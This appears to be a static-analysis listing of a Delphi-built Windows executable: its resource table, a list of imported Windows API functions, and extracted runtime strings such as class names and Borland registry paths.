RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_MESSAGETABLE 0x00097d10 0x000002ff LANG_ENGLISH SUBLANG_ENGLISH_US 5.84 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_CURSOR 0x00098088 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL 2.02 None
RT_GROUP_ICON 0x0009809c 0x00000014 LANG_ENGLISH SUBLANG_ENGLISH_US 1.84 None
RT_HTML 0x000980b0 0x00000099 LANG_ENGLISH SUBLANG_ENGLISH_US 6.66 None

Imports

0x46713c VirtualFree
0x467140 VirtualAlloc
0x467144 LocalFree
0x467148 LocalAlloc
0x46714c GetVersion
0x467150 GetCurrentThreadId
0x46715c VirtualQuery
0x467160 WideCharToMultiByte
0x467164 MultiByteToWideChar
0x467168 lstrlenA
0x46716c lstrcpynA
0x467170 LoadLibraryExA
0x467174 GetThreadLocale
0x467178 GetStartupInfoA
0x46717c GetProcAddress
0x467180 GetModuleHandleA
0x467184 GetModuleFileNameA
0x467188 GetLocaleInfoA
0x46718c GetCommandLineA
0x467190 FreeLibrary
0x467194 FindFirstFileA
0x467198 FindClose
0x46719c ExitProcess
0x4671a0 WriteFile
0x4671a8 RtlUnwind
0x4671ac RaiseException
0x4671b0 GetStdHandle
0x4671b8 GetKeyboardType
0x4671bc LoadStringA
0x4671c0 MessageBoxA
0x4671c4 CharNextA
0x4671cc RegQueryValueExA
0x4671d0 RegOpenKeyExA
0x4671d4 RegCloseKey
0x4671dc SysFreeString
0x4671e0 SysReAllocStringLen
0x4671e4 SysAllocStringLen
0x4671ec TlsSetValue
0x4671f0 TlsGetValue
0x4671f4 LocalAlloc
0x4671f8 GetModuleHandleA
0x467200 RegQueryValueExA
0x467204 RegOpenKeyExA
0x467208 RegCloseKey
0x467210 lstrcpyA
0x467214 WriteFile
0x467218 WaitForSingleObject
0x46721c VirtualQuery
0x467220 VirtualProtect
0x467224 VirtualAlloc
0x467228 Sleep
0x46722c SizeofResource
0x467230 SetThreadLocale
0x467234 SetFilePointer
0x467238 SetEvent
0x46723c SetErrorMode
0x467240 SetEndOfFile
0x467244 ResetEvent
0x467248 ReadFile
0x46724c MulDiv
0x467250 LockResource
0x467254 LoadResource
0x467258 LoadLibraryA
0x467264 GlobalUnlock
0x467268 GlobalReAlloc
0x46726c GlobalHandle
0x467270 GlobalLock
0x467274 GlobalFree
0x467278 GlobalFindAtomA
0x46727c GlobalDeleteAtom
0x467280 GlobalAlloc
0x467284 GlobalAddAtomA
0x467288 GetVersionExA
0x46728c GetVersion
0x467290 GetTickCount
0x467294 GetThreadLocale
0x467298 GetTempPathA
0x46729c GetSystemInfo
0x4672a0 GetStringTypeExA
0x4672a4 GetStdHandle
0x4672a8 GetProcAddress
0x4672ac GetModuleHandleA
0x4672b0 GetModuleFileNameA
0x4672b4 GetLocaleInfoA
0x4672b8 GetLocalTime
0x4672bc GetLastError
0x4672c0 GetFullPathNameA
0x4672c4 GetFileSize
0x4672c8 GetDiskFreeSpaceA
0x4672cc GetDateFormatA
0x4672d0 GetCurrentThreadId
0x4672d4 GetCurrentProcessId
0x4672d8 GetCPInfo
0x4672dc GetACP
0x4672e0 FreeResource
0x4672e4 InterlockedExchange
0x4672e8 FreeLibrary
0x4672ec FormatMessageA
0x4672f0 FindResourceA
0x4672f4 EnumCalendarInfoA
0x467300 CreateThread
0x467304 CreateFileA
0x467308 CreateEventA
0x46730c CompareStringA
0x467310 CloseHandle
0x467318 VerQueryValueA
0x467320 GetFileVersionInfoA
0x467328 UnrealizeObject
0x46732c StretchBlt
0x467330 SetWindowOrgEx
0x467334 SetViewportOrgEx
0x467338 SetTextColor
0x46733c SetStretchBltMode
0x467340 SetROP2
0x467344 SetPixel
0x467348 SetDIBColorTable
0x46734c SetBrushOrgEx
0x467350 SetBkMode
0x467354 SetBkColor
0x467358 SelectPalette
0x46735c SelectObject
0x467360 SaveDC
0x467364 RestoreDC
0x467368 RectVisible
0x46736c RealizePalette
0x467370 PatBlt
0x467374 MoveToEx
0x467378 MaskBlt
0x46737c LineTo
0x467380 IntersectClipRect
0x467384 GetWindowOrgEx
0x467388 GetTextMetricsA
0x467394 GetStockObject
0x467398 GetPixel
0x46739c GetPaletteEntries
0x4673a0 GetObjectA
0x4673a4 GetDeviceCaps
0x4673a8 GetDIBits
0x4673ac GetDIBColorTable
0x4673b0 GetDCOrgEx
0x4673b8 GetClipBox
0x4673bc GetBrushOrgEx
0x4673c0 GetBitmapBits
0x4673c4 GetArcDirection
0x4673c8 ExtTextOutA
0x4673cc ExcludeClipRect
0x4673d0 DeleteObject
0x4673d4 DeleteDC
0x4673d8 CreateSolidBrush
0x4673dc CreatePenIndirect
0x4673e0 CreatePalette
0x4673e8 CreateFontIndirectA
0x4673ec CreateDIBitmap
0x4673f0 CreateDIBSection
0x4673f4 CreateCompatibleDC
0x4673fc CreateBrushIndirect
0x467400 CreateBitmap
0x467404 BitBlt
0x46740c CreateWindowExA
0x467410 WindowFromPoint
0x467414 WinHelpA
0x467418 WaitMessage
0x46741c UpdateWindow
0x467420 UnregisterClassA
0x467424 UnhookWindowsHookEx
0x467428 TranslateMessage
0x467430 TrackPopupMenu
0x467438 ShowWindow
0x46743c ShowScrollBar
0x467440 ShowOwnedPopups
0x467444 ShowCursor
0x467448 SetWindowsHookExA
0x46744c SetWindowTextA
0x467450 SetWindowPos
0x467454 SetWindowPlacement
0x467458 SetWindowLongA
0x46745c SetTimer
0x467460 SetScrollRange
0x467464 SetScrollPos
0x467468 SetScrollInfo
0x46746c SetRect
0x467470 SetPropA
0x467474 SetParent
0x467478 SetMenuItemInfoA
0x46747c SetMenu
0x467480 SetForegroundWindow
0x467484 SetFocus
0x467488 SetCursor
0x46748c SetClassLongA
0x467490 SetCapture
0x467494 SetActiveWindow
0x467498 SendMessageA
0x46749c ScrollWindow
0x4674a0 ScreenToClient
0x4674a4 RemovePropA
0x4674a8 RemoveMenu
0x4674ac ReleaseDC
0x4674b0 ReleaseCapture
0x4674bc RegisterClassA
0x4674c0 RedrawWindow
0x4674c4 PtInRect
0x4674c8 PostQuitMessage
0x4674cc PostMessageA
0x4674d0 PeekMessageA
0x4674d4 OffsetRect
0x4674d8 OemToCharA
0x4674dc MessageBoxA
0x4674e0 MapWindowPoints
0x4674e4 MapVirtualKeyA
0x4674e8 LoadStringA
0x4674ec LoadKeyboardLayoutA
0x4674f0 LoadIconA
0x4674f4 LoadCursorA
0x4674f8 LoadBitmapA
0x4674fc KillTimer
0x467500 IsZoomed
0x467504 IsWindowVisible
0x467508 IsWindowEnabled
0x46750c IsWindow
0x467510 IsRectEmpty
0x467514 IsIconic
0x467518 IsDialogMessageA
0x46751c IsChild
0x467520 InvalidateRect
0x467524 IntersectRect
0x467528 InsertMenuItemA
0x46752c InsertMenuA
0x467530 InflateRect
0x467538 GetWindowTextA
0x46753c GetWindowRect
0x467540 GetWindowPlacement
0x467544 GetWindowLongA
0x467548 GetWindowDC
0x46754c GetTopWindow
0x467550 GetSystemMetrics
0x467554 GetSystemMenu
0x467558 GetSysColorBrush
0x46755c GetSysColor
0x467560 GetSubMenu
0x467564 GetScrollRange
0x467568 GetScrollPos
0x46756c GetScrollInfo
0x467570 GetPropA
0x467574 GetParent
0x467578 GetWindow
0x46757c GetMenuStringA
0x467580 GetMenuState
0x467584 GetMenuItemInfoA
0x467588 GetMenuItemID
0x46758c GetMenuItemCount
0x467590 GetMenu
0x467594 GetLastActivePopup
0x467598 GetKeyboardState
0x4675a0 GetKeyboardLayout
0x4675a4 GetKeyState
0x4675a8 GetKeyNameTextA
0x4675ac GetIconInfo
0x4675b0 GetForegroundWindow
0x4675b4 GetFocus
0x4675b8 GetDlgItem
0x4675bc GetDesktopWindow
0x4675c0 GetDCEx
0x4675c4 GetDC
0x4675c8 GetCursorPos
0x4675cc GetCursor
0x4675d0 GetClientRect
0x4675d4 GetClassNameA
0x4675d8 GetClassInfoA
0x4675dc GetCapture
0x4675e0 GetActiveWindow
0x4675e4 FrameRect
0x4675e8 FindWindowA
0x4675ec FillRect
0x4675f0 EqualRect
0x4675f4 EnumWindows
0x4675f8 EnumThreadWindows
0x4675fc EndPaint
0x467600 EnableWindow
0x467604 EnableScrollBar
0x467608 EnableMenuItem
0x46760c DrawTextA
0x467610 DrawMenuBar
0x467614 DrawIconEx
0x467618 DrawIcon
0x46761c DrawFrameControl
0x467620 DrawFocusRect
0x467624 DrawEdge
0x467628 DispatchMessageA
0x46762c DestroyWindow
0x467630 DestroyMenu
0x467634 DestroyIcon
0x467638 DestroyCursor
0x46763c DeleteMenu
0x467640 DefWindowProcA
0x467644 DefMDIChildProcA
0x467648 DefFrameProcA
0x46764c CreatePopupMenu
0x467650 CreateMenu
0x467654 CreateIcon
0x467658 ClientToScreen
0x46765c CheckMenuItem
0x467660 CallWindowProcA
0x467664 CallNextHookEx
0x467668 BeginPaint
0x46766c CharNextA
0x467670 CharLowerA
0x467674 CharUpperBuffA
0x467678 CharToOemA
0x46767c AdjustWindowRectEx
0x467688 Sleep
0x467690 SafeArrayPtrOfIndex
0x467694 SafeArrayGetUBound
0x467698 SafeArrayGetLBound
0x46769c SafeArrayCreate
0x4676a0 VariantChangeType
0x4676a4 VariantCopy
0x4676a8 VariantClear
0x4676ac VariantInit
0x4676bc ImageList_Write
0x4676c0 ImageList_Read
0x4676d0 ImageList_DragMove
0x4676d4 ImageList_DragLeave
0x4676d8 ImageList_DragEnter
0x4676dc ImageList_EndDrag
0x4676e0 ImageList_BeginDrag
0x4676e4 ImageList_Remove
0x4676e8 ImageList_DrawEx
0x4676ec ImageList_Draw
0x4676fc ImageList_Add
0x467704 ImageList_Destroy
0x467708 ImageList_Create
0x46770c InitCommonControls
0x467714 GetOpenFileNameA

This program must be run under Win32
`DATA
.idata
.rdata
P.reloc
P.rsrc
Boolean
False
Integer
Cardinal
String
TObject
TObject
System
IInterface
System
TInterfacedObject
SVWUQ
Z]_^[
YZ]_^[
w;;t$
SVWUQ
Z]_^[
YZ]_^[
Uhd"@
_^[YY]
_^[Y]
YZ]_^[
_^[Y]
,$YXZ
~KxI[)
BkU'9
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
_^[YY]
PPRTj
YZXtp
YZXtm1
ZTUWVSPRTj
t=HtN
Uhb;@
t-Rf;
t f;J
SVWRP
Z_^[X
tVSVWU
t1SVW
t-Rf;
t f;J
kernel32.dll
GetLongPathNameA
Software\Borland\Locales
Software\Borland\Delphi\Locales
_^[YY]
FFF;M
^[YY]
UhU\@
odSelected
odGrayed
odDisabled
odChecked
odFocused
odDefault
odHotLight
odInactive
odNoAccel
odNoFocusRect
odReserved1
odReserved2
odComboBoxEdit
Windows
TOwnerDrawState
_^[Y]
_^[Y]
_^[Y]
Magellan MSWHEEL
MouseZ
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
TFileName
EHeapException
EOutOfMemory
EExternal
EExternalException
EIntError
EDivByZero
ERangeError
EIntOverflow
EMathError
EInvalidOp
EOverflow
EUnderflow
EInvalidPointer
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
SysUtils
SysUtils
TThreadLocalCounter
$TMultiReadExclusiveWriteSynchronizer
SWSVj
False
_^[Y]
$Z_^[
$Z_^[
^[YY]
<*t"<0r=<9w9i
INFNAN
QS<$t
_^[YY]
_^[YY]
$YZ_^[
t%HtIHtm
AM/PM
_^[YY]
SVWUQ
$Z]_^[
_^[Y]
QQQQQQSVW3
QQQQQSVW
D$PPj
D$LPj
_^[Y]
_^[YY]
TErrorRec
TExceptRec
t<HtH
$YZ^[
$YZ^[
WUWSj
YZ]_^[
_^[Y]
m/d/yy
mmmm d, yyyy
AMPM
AMPM
:mm:ss
kernel32.dll
GetDiskFreeSpaceExA
SVWUQ
(Z]_^[
SVWUQ
;w$t|
Z]_^[
;F$t=
;C$t4
_^[Y]
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarOr
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
TCustomVariantType
TCustomVariantType
Variants
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgErrorL
EVariantBadVarTypeError
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedError
EVariantDispatchError
t?Htb
QQQQSV
Empty
Smallint
Integer
Single
Double
Currency
OleStr
Dispatch
Error
Boolean
Variant
Unknown
Decimal
ShortInt
LongWord
Int64
String
Array
ByRef
Variants
_^[YY]
_^[Y]
SVWUQ
Z]_^[
t~h$hF
_^[Y]
False
_^[Y]
_^[YY]
$YZ^[
TBiDiMode
bdLeftToRight
bdRightToLeft
bdRightToLeftNoAlign
bdRightToLeftReadingOnly
Classes
ssShift
ssAlt
ssCtrl
ssLeft
ssRight
ssMiddle
ssDouble
Classes
TShiftState
THelpContext
THelpType
htKeyword
htContext
Classes
TShortCut
TNotifyEvent
Sender
TObject
EStreamError
EFileStreamError
EFCreateError
EFOpenError
EFilerError`
EReadError
EWriteError
EClassNotFound
EResNotFound
EListError
EBitsError
EStringListError
EComponentError4
EOutOfResources
EInvalidOperation
TList
TThreadList
TBits
TPersistent
TPersistent
Classes
TInterfacedPersistent,
TInterfacedPersistent
Classes
IStringsAdapter
Classes
TStrings
TStrings
Classes
TStringItem
TStringList
TStringList
Classes
TStreamL
TStream$
Classes
THandleStream
TFileStream
TCustomMemoryStream
TMemoryStream
TStringStream$
TResourceStream
TStreamAdapter
TClassFinder
TFiler
TReader
EThread
TComponentName
IDesignerNotify
Classes
TComponent
TComponent
Classes
Name<
TBasicActionLink
TBasicAction
TBasicAction
Classes
TIdentMapEntry
TRegGroup
TRegGroups
YZ]_^[
_^[Y]
_^[Y]
SVWUQ
u%CNu
Z]_^[
SVWUQ
$Z]_^[
Uho)A
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
$Z]_^[
Uhg/A
Uh;0A
_^[YY]
Uhj2A
TIntConst
UhJ4A
_^[Y]
_^[Y]
_^[YY]
_^[Y]
UhZ8A
Uh;8A
SVWUQ
Z]_^[
UheAA
W<CNu
UhtDA
PhdOA
Strings
_^[Y]
UhpGA
UhNGA
UhWJA
S$_^[Y]
^[YY]
UhmLA
UhPLA
_^[YY]
SVWUQ
SdZ]_^[
UhXMA
Uh3MA
UhTOA
